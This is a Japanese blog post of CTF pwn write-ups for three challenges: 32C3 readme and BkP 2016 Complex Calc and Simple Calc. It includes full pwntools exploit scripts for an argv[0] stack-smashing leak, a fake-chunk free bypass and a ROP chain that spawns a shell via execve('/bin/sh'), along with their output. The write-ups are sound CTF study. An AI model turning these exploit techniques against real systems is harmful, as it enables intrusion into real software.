h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その8

前回

[32c3 CTF 2015] pwn200 - readme

ELF 64-bit、動的リンク、SSPとNX有効。

$ file readme.bin
readme.bin: ELF 64bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
$ checksec readme.bin
[*] '/home/hnoson/ctf/32c3ctf/readme/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

デコンパイル結果

char flag[0x20] = "32C3_TheServerHasTheFlagHere...";

void _main() {
    char name[0x100];
    printf("Hello!\nWhat's your name? ");
    gets(name);
    printf("Nice to meet you, %s.\nPlease overwrite the flag: ");
    for (int i = 0; i < 0x20; i++) {
        char c = getc(stdin);
        if (c == '\n') {
            memset(flag + i, 0, 0x20 - i);
            break;
        }
        flag[i] = c;
    }
    puts("Thank you, bye!");
}

int main() {
    setbuf(stdout);
    _main();
    return 0;
}

flagはサーバのバイナリに埋め込まれているみたい。そしてスタックバッファオーバーフローを起こせる。

真っ先にkatagaitaictf勉強会であったargv[0]リークが思い浮かんだがstack smashを起こす前にflagが上書きされてしまう…結局わからずwriteupを読んだ。

x64の初期配置は0x400000になっている。

つまり今回のバイナリではflagが0x600d20にあるが0x400d20にもあることになる。知らなかった。
ということでスタックフレームの後ろの方にあるargvを0x400d20に上書きすることで、SSPによるスタックバッファオーバーフロー検知のメッセージにflagが表示される。

argv[0]リークは簡単に言うとエラーメッセージ

*** stack smashing detected ***: ./readme.bin terminated

に出力されるファイル名がargv[0]から来ていることを利用してそこを上書きすることでメモリの値をリークするもの。

#!/usr/bin/env python
from pwn import *

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = process('./readme.bin')
    else:
        s = remote('localhost', 1234)

    flag_addr = 0x400d20

    payload = ''
    payload += 'A' * 0x218
    payload += p64(flag_addr)
    s.sendlineafter('name? ', payload)

    s.sendlineafter('flag: ', 'A')

    s.stream()
$ ./exploit.py
[+] Starting local process './readme.bin': pid 20222
Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
[*] Process './readme.bin' stopped with exit code -6 (SIGABRT) (pid 20222)

ただしこれはローカルでしか動かない。socatを使って試してみるとリモートにエラー内容が出力されてしまう。

$ ./exploit.py remote
[+] Opening connection to localhost on port 1234: Done
Thank you, bye!
[*] Closed connection to localhost port 1234
$ socat tcp-listen:1234,fork exec:./readme.bin,stderr
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

これは出力が/dev/ttyに流れてしまうからである。結論を言うと環境変数LIBC_FATAL_STDERR_を設定することで標準エラーに出力され、socatのオプションにstderrが設定されていればflagを読むことができる。上の2つのリンクではlibcのソースコードを見ながら環境変数がどう使われるかを追っているので詳しいことはそちらを参照ください。

#!/usr/bin/env python
from pwn import *

if __name__ == '__main__':
    if len(sys.argv) == 1:
        s = process('./readme.bin')
    else:
        s = remote('localhost', 1234)

    flag_addr = 0x400d20
    flag_addr_2 = 0x600d20
    
    payload = ''
    payload += 'A' * 0x218
    payload += p64(flag_addr) # argv
    payload += p64(0)
    payload += p64(flag_addr_2) # envp
    s.sendlineafter('name? ', payload)

    s.sendlineafter('flag: ', 'LIBC_FATAL_STDERR_=1')

    s.stream()
$ ./exploit.py remote
[+] Opening connection to localhost on port 1234: Done
Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
[*] Closed connection to localhost port 1234

[BkP CTF 2016] #13 complex calc - pwn5

ELF 64bit、静的リンク、SSP無効。

$ file complex_calc
complex_calc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
$ checksec complex_calc
[*] '/home/hnoson/ctf/bostonkeypartyctf/2016/complex_calc/complex_calc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

始めに0x4~0xffの数字を入力し、その回数だけ計算を行えるプログラム。

$ ./complex_calc

        |#------------------------------------#|
        |         Something Calculator         |
        |#------------------------------------#|

Expected number of calculations: 20
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 1
Integer x: 100
Integer y: 200
Result for x + y is 300.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=>

計算結果をheap領域に記録していて、[5] Save and Exit.を選択するとその計算結果がスタック領域にコピーされる(このときオーバーフローする)。その後、使っていたバッファをfreeする。しかしそのバッファへのポインタはオーバーフローによって上書きされてしまう。そこで、計算途中で使われている変数を組み合わせて偽のchunkを作り、それをfreeさせることでエラーを防ぐ。

計算に使う変数は以下のアドレスに格納されている。

x y result
add 0x6c4a80 0x6c4a84 0x6c4a88
div 0x6c4a90 0x6c4a94 0x6c4a98
mul 0x6c4aa0 0x6c4aa4 0x6c4aa8
sub 0x6c4ab0 0x6c4ab4 0x6c4ab8

addのresultを0x21にし、mulのresultを0x21にして0x6c4a90をfreeさせればよい。数値の入力は(unsignedで)0x28以上のみ許さているが負の値をうまく使うことで0x21を作り出せる。

ここまででスタックバッファオーバーフローが行えるようになったのでROPでシェルを起動する。このバイナリは静的リンクなので十分なgadgetが揃っている。

#!/usr/bin/env python
from pwn import *

def calc(t, x, y):
    s.sendlineafter('=> ', str(t))
    s.sendlineafter('x: ', str(x))
    s.sendlineafter('y: ', str(y))

def push(val):
    calc(2, (val & 0xffffffff) + 0x28, 0x28)
    calc(2, (val >> 32) + 0x28, 0x28)

if __name__ == '__main__':
    s = process('./complex_calc')
    elf = ELF('./complex_calc')

    s.sendlineafter('calculations: ', str(0xff))

    pop_rdi = 0x401b73
    pop_rsi = 0x401c87
    pop_rdx = 0x437a85
    pop_rax = 0x44db34
    syscall = 0x4648e5

    # pointer to fake chunk
    for i in range(9):
        push(0x6c4a90)

    # read(0, bss, 0x8)
    push(pop_rax)
    push(0)
    push(pop_rdi)
    push(0)
    push(pop_rsi)
    push(elf.bss(0x500))
    push(pop_rdx)
    push(8)
    push(syscall)

    # execve("/bin/sh", NULL, NULL)
    push(pop_rax)
    push(0x3b)
    push(pop_rdi)
    push(elf.bss(0x500))
    push(pop_rsi)
    push(0)
    push(pop_rdx)
    push(0)
    push(syscall)

    # create fake chunk
    calc(1, 0x28, -7)
    calc(3, -0x21, -1)

    s.sendlineafter('=> ', '5')
    s.send('/bin/sh\0')
    s.interactive()

[BkP CTF 2016] #2 Simple Calc - pwn5

Complex Calcとほぼ同じ。違いはfree。上がSimple Calcで下がComplex Calc f:id:h_noson:20180804215500p:plain f:id:h_noson:20180804215608p:plain Simple Calcではfree(NULL)に対しては何もしない(これが仕様通りの実装)。Complex Calcの時になんでfreeの入力にNULLが許されていないのかと思ったらそこが問題になっていたのか。解く順番間違えた。 exploitはComplex Calcと同じでも通る。

#!/usr/bin/env python
from pwn import *

def calc(t, x, y):
    s.sendlineafter('=> ', str(t))
    s.sendlineafter('x: ', str(x))
    s.sendlineafter('y: ', str(y))

def push(val):
    calc(2, (val & 0xffffffff) + 0x28, 0x28)
    calc(2, (val >> 32) + 0x28, 0x28)

if __name__ == '__main__':
    s = process('./simple_calc')
    elf = ELF('./simple_calc')

    s.sendlineafter('calculations: ', str(0xff))

    pop_rdi = 0x401b73
    pop_rsi = 0x401c87
    pop_rdx = 0x437a85
    pop_rax = 0x44db34
    syscall = 0x4648e5

    for i in range(9):
        push(0)

    # read(0, bss, 0x8)
    push(pop_rax)
    push(0)
    push(pop_rdi)
    push(0)
    push(pop_rsi)
    push(elf.bss(0x500))
    push(pop_rdx)
    push(8)
    push(syscall)

    # execve("/bin/sh", NULL, NULL)
    push(pop_rax)
    push(0x3b)
    push(pop_rdi)
    push(elf.bss(0x500))
    push(pop_rsi)
    push(0)
    push(pop_rdx)
    push(0)
    push(syscall)

    s.sendlineafter('=> ', '5')
    s.send('/bin/sh\0')
    s.interactive()

続き